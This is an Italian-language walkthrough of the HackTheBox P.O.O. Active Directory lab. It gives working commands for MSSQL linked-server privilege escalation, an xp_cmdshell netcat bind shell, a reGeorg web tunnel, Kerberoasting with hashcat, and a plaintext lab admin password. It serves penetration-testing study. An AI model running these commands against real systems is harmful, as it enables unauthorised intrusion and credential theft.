HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

In questo articolo esploreremo il passaggio non solo di una macchina, ma di un'intera mini-laboratorio. HackTheBox.

Come indicato nella descrizione, P.O.O. è progettato per testare le competenze in tutte le fasi degli attacchi in un piccolo ambiente Active Directory. L'obiettivo è compromettere l'host accessibile, ottenere privilegi elevati e, infine, compromettere l'intero dominio, raccogliendo nel processo 5 flag.

La connessione al laboratorio avviene tramite VPN. Si consiglia di non collegarsi da un computer di lavoro o da un host dove ci sono dati importanti per voi, poiché vi troverete in una rete privata con persone che hanno competenze in cybersecurity 🙂

Informazioni organizzative
Per rimanere aggiornato su nuovi articoli, software e altre informazioni, ho creato un canale su Telegram e un gruppo per discutere qualsiasi domanda nel campo della sicurezza informatica. Inoltre, le vostre richieste personali, domande, suggerimenti e raccomandazioni saranno esaminate personalmente e risponderò a tutti..

Tutte le informazioni sono presentate esclusivamente a scopo educativo. L'autore di questo documento non si assume alcuna responsabilità per eventuali danni causati a chiunque dall'uso delle conoscenze e dei metodi acquisiti attraverso lo studio di questo documento.

Intro

Questo endgame consiste in due macchine e contiene 5 flag.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Viene fornita anche una descrizione e l'indirizzo dell'host accessibile.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Iniziamo!

Recon flag

Questa macchina ha l'indirizzo IP 10.13.38.11, che aggiungo a /etc/hosts.
10.13.38.11 poo.htb

Per prima cosa scansioniamo le porte aperte. Poiché scansionare tutte le porte con nmap è lungo, inizierò a farlo con masscan. Scanneremo tutte le porte TCP e UDP dall'interfaccia tun0 a una velocità di 500 pacchetti al secondo.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Ora, per ottenere ulteriori informazioni sui servizi che operano sulle porte, avviamo la scansione con l'opzione -A.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Così, abbiamo i servizi IIS e MSSQL. Inoltre, scopriamo il vero nome DNS del dominio e del computer. Sul server web ci accoglie la home page di IIS.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Esploriamo le directory. Per questo utilizzo gobuster. Nei parametri specifichiamo il numero di thread 128 (-t), l'URL (-u), il dizionario (-w) e le estensioni di nostro interesse (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Così abbiamo l'autenticazione HTTP per la directory /admin, oltre a un file di archiviazione del servizio desktop disponibile .DS_Store. .DS_Store sono file che contengono impostazioni personalizzate per la cartella, come l'elenco dei file, la posizione delle icone e l'immagine di sfondo selezionata. Questo file può trovarsi nella directory del server web da parte degli sviluppatori. Pertanto, possiamo ottenere informazioni sul contenuto della directory. A tal fine, possiamo utilizzare DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Stiamo ottenendo il contenuto della directory. La parte più interessante qui è la directory /dev, da cui possiamo visualizzare i sorgenti e i file db in due rami. Ma possiamo ottenere i primi 6 caratteri dei nomi dei file e delle directory, se il servizio è vulnerabile a IIS ShortName. Possiamo verificare la presenza di questa vulnerabilità con IIS shortname Scanner.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

E troviamo un file di testo che inizia con «poo_co». Non sapendo cosa fare dopo, ho semplicemente selezionato dal dizionario delle directory tutte le parole che iniziano con «co».

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

E la consideriamo usando wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

E troviamo la parola giusta! Guardiamo questo file, salviamo le credenziali (dallo stesso parametro DBNAME, provengono da MSSQL).

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Consegniamo il flag e procediamo al 20%.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Huh flag

Ci connettiamo a MSSQL, utilizzo DBeaver.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Non troviamo nulla di interessante in questo database, creiamo un editor SQL e controlliamo quali utenti ci sono.

SELECT name FROM master..syslogins;

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Abbiamo due utenti. Verifichiamo i propri privilegi.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Non ci sono privilegi quindi. Esaminiamo i server correlati, ho scritto in dettaglio su questo metodo. qui.

SELECT * FROM master..sysservers;

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Così troviamo un altro SQL Server. Controlliamo l'esecuzione dei comandi su questo server con openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Possiamo anche costruire un albero di query.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Il fatto è che quando eseguiamo una query su un server collegato, la query viene eseguita nel contesto di un altro utente! Veniamo a vedere in quale contesto stiamo lavorando sul server collegato.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Ora vediamo in quale contesto vengono eseguite le query dal server collegato sul nostro!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Pertanto, questo è il contesto DBO, che deve avere tutti i privilegi. Controlliamo i privilegi nel caso di una richiesta dal server collegato.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Come possiamo notare, abbiamo tutti i privilegi! Creiamo il nostro admin in questo modo. Ma non ci permettono di farlo tramite openquery, facciamolo tramite EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

E ora ci connettiamo con le credenziali del nuovo utente, osserviamo il nuovo database flag.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Consegniamo questo flag e procediamo.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

BackTrack flag

Otterremo una shell tramite MSSQL, utilizzo mssqlclient dal pacchetto impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Dobbiamo ottenere le password, e la prima cosa che abbiamo già trovato è il sito. Quindi abbiamo bisogno della configurazione del server web (non riusciamo a caricare uno shell conveniente, sembra che ci sia un firewall).

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Ma l'accesso è vietato. Anche se possiamo leggere un file da MSSQL, dobbiamo solo sapere quali linguaggi di programmazione sono configurati. E nella directory MSSQL scopriamo che c'è Python.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Allora non ci sono problemi a leggere il file web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Con le credenziali trovate, accederemo a /admin e prenderemo la flag.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Foothold flag

In realtà, l'uso del firewall comporta alcuni fastidi, ma rivedendo le impostazioni di rete notiamo che viene utilizzato anche un tunnel IPv6!

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Aggiungeremo questo indirizzo in /etc/hosts.
dead:babe::1001 poo6.htb
Scansiamo di nuovo l'host, ma già con il protocollo IPv6.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

E tramite IPv6 è disponibile il servizio WinRM. Connettiamoci con le credenziali trovate.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Sulla scrivania c'è una flag, la consegniamo.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

P00ned flag

Dopo aver eseguito la ricognizione sull'host con winpeas non troviamo nulla di particolare. Quindi si è deciso di cercare nuovamente le credenziali (ho scritto anche a riguardo articolo). Ma tramite WinRM non sono riuscito a ottenere tutti gli SPN dal sistema.

setspn.exe -T intranet.poo -Q *//*

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Eseguiamo il comando tramite MSSQL.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

In questo modo otteniamo gli SPN degli utenti p00_hr e p00_adm, il che significa che sono vulnerabili ad attacchi come il Kerberoasting. In breve, possiamo ottenere gli hash delle loro password.

Per cominciare, dobbiamo ottenere una shell stabile sotto l'utente MSSQL. Tuttavia, poiché abbiamo accesso limitato, possiamo comunicare con l'host solo tramite le porte 80 e 1433. Ma è possibile tunnelizzare il traffico attraverso la porta 80! Utilizzeremo la seguente applicazione. Carichiamo il file tunnel.aspx nella directory principale del server web — C:inetpubwwwroot.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Ma quando proviamo ad accedervi, riceviamo un errore 404. Ciò significa che i file *.aspx non vengono eseguiti. Per far sì che i file con questa estensione vengano eseguiti, installeremo ASP.NET 4.5 come segue.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

E ora, accedendo a tunnel.aspx, otteniamo una risposta che tutto è pronto per lavorare.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Avviamo la parte client dell'applicazione, che si occuperà di ritrasmettere il traffico. Redirecteremo tutto il traffico dalla porta 5432 al server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Utilizziamo proxychains per indirizzare il traffico di qualsiasi applicazione attraverso il nostro proxy. Aggiungiamo questo proxy nel file di configurazione /etc/proxychains.conf.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Ora carichiamo sul server il programma netcat, che ci permetterà di creare una shell bind stabile, e lo script Invoke-Kerberoast, con cui eseguiremo l'attacco Kerberoasting.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Ora avviamo il listener tramite MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

E ci connettiamo passando per il nostro proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Adesso recuperiamo gli hash.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Dopo, dobbiamo testare questi hash. Poiché nel dizionario rockyou non c'erano le password, ho utilizzato TUTTI i dizionari di password forniti in Seclists. Per il bruteforce usiamo hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

E troviamo entrambe le password, la prima nel dizionario dutch_passwordlist.txt e la seconda in Keyboard-Combinations.txt.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Quindi abbiamo tre utenti, ora andiamo sul controller di dominio. Prima scopriamo il suo indirizzo.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Ottimo, abbiamo identificato l'indirizzo IP del controller di dominio. Scopriamo tutti gli utenti del dominio e chi di loro è l'amministratore. Carichiamo lo script per ottenere informazioni PowerView.ps1. Poi ci connetteremo utilizzando evil-winrm, specificando nel parametro -s la directory contenente lo script. Dopodiché caricheremo semplicemente lo script PowerView.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Ora abbiamo accesso a tutte le sue funzionalità. L'utente p00_adm sembra essere privilegiato, quindi lavoreremo nel suo contesto. Creiamo un oggetto PSCredential per questo utente.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Ora tutti i comandi Powershell dove indichiamo Creds verranno eseguiti a nome di p00_adm. Generiamo un elenco degli utenti e dell'attributo AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Quindi, il nostro utente è effettivamente privilegiato. Controlliamo in quali gruppi è presente.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Affermiamo con certezza che l'utente è l'amministratore del dominio. Questo gli consente l'accesso remoto al controller del dominio. Proviamo a entrare tramite WinRM, utilizzando il nostro tunnel. Sono stato confuso dagli errori restituiti da reGeorg mentre utilizzavo evil-winrm.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Allora utilizziamo uno script più semplice per connetterci a WinRM. Apriamo e modifichiamo i parametri per la connessione. Proviamo a connetterci, e siamo nel sistema.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Ma non c'è la flag. Allora controlliamo gli utenti e verifichiamo i desktop.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Troviamo la flag su mr3ks e il laboratorio è completato al 100%.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Ecco fatto. Come feedback, commenta se hai scoperto qualcosa di nuovo da questo articolo e se ti è stato utile.

HackTheBox endgame. Completamento del laboratorio Professional Offensive Operations. Penetration test di Active Directory.

Puoi unirti a noi in

. Lì troverai materiali interessanti, corsi condivisi, e anche software. Creiamo una comunità in cui le persone competenti in vari campi dell'IT possano aiutarci sempre l'uno con l'altro su qualsiasi questione legata all'IT e alla sicurezza informatica. Telegram. Qui potrai trovare materiali interessanti, corsi condivisi, oltre a software. Creiamo una comunità in cui ci siano persone esperte in vari settori IT, in modo da poterci sempre aiutare a vicenda con qualsiasi questione legata all'IT e alla sicurezza informatica.

Fonte: habr.com

Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server 🔥 Acquista hosting affidabile per siti web con protezione DDoS, VPS VDS server | ProHoster